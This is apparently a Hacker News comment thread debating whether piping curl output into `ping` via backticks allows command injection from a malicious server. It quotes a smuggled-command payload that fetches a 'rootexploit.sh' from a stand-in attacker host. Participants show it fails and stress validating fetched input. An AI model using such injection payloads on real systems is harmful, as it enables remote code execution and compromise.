4 ms·
How so?
by TazeTSchnitzel 14y ago
How so?
- eropple 14y agoNot 100%, but can't you just re-point the DNS to a server you control and return a different body from the curl request?
- tptacek 14y agoMaybe depending on your shell I'm probably wrong.
- TazeTSchnitzel 14y agoI don't see how you could be right. It won't evaluate the result: ajf@Ubuntu-1204-precise-64-minimal:~$ echo `echo "3 > file"` 3 > file
- tptacek 14y agoCONCEDING THIS IN ADVANCE OF VERIFYING.
- deleted 14y ago[deleted]
- elithrar 14y agoping `\`echo /etc/passwd\`` zsh: permission denied: /etc/passwd I may be wrong here, but would just returning \`rootyourmachine.sh\`` in the request body therefore work? Edit: Serving that from a web server via ping `curl localhost:9999` only causes ping to respond with a usage warning, as if you had entered an incorrect command. Is there a way to "break out of" ping from here, though?
- tptacek 14y agoNo; you can pass arguments to ping, of course, but that's not helpful. Sorry, gut reaction to command interpolation with curl.
- eropple 14y agoLooks like you're right - I thought you could do it by injecting a quote or something, but apparently not.
- elithrar 14y ago> Looks like you're right - I thought you could do it by injecting a quote or something, but apparently not. Still, I think it's a good way to think. Expect that there's a way for that input to do something malicious, even if it doesn't seem immediately possible. I have a dynamic DNS daemon that fetches my IP via HTTP GET, and the first thing I do is validate that it's actually an IP before I do anything else with it.
- TazeTSchnitzel 14y agoYes, but what could a different body do here? Is there anything dangerous you can do with ping?
- tomku 14y agoThe output from curl is being tacked onto 'ping ' and executed, so there's nothing stopping a malicious server from returning something like '127.0.0.1; $(curl http://pwn.your.box/rootexploit.sh http://pwn.your.box/rootexploit.sh) ' instead of just your IP. Edit: This is completely wrong, and doesn't work.
- TazeTSchnitzel 14y agoHow, exactly, would that work? You'd just be feeding the literal string "127.0.0.1; $(curl http://pwn.your.box/rootexploit.sh http://pwn.your.box/rootexploit.sh) " to ping.
- tomku 14y agoYep, you're right, it doesn't work. Edited post to reflect that, thanks.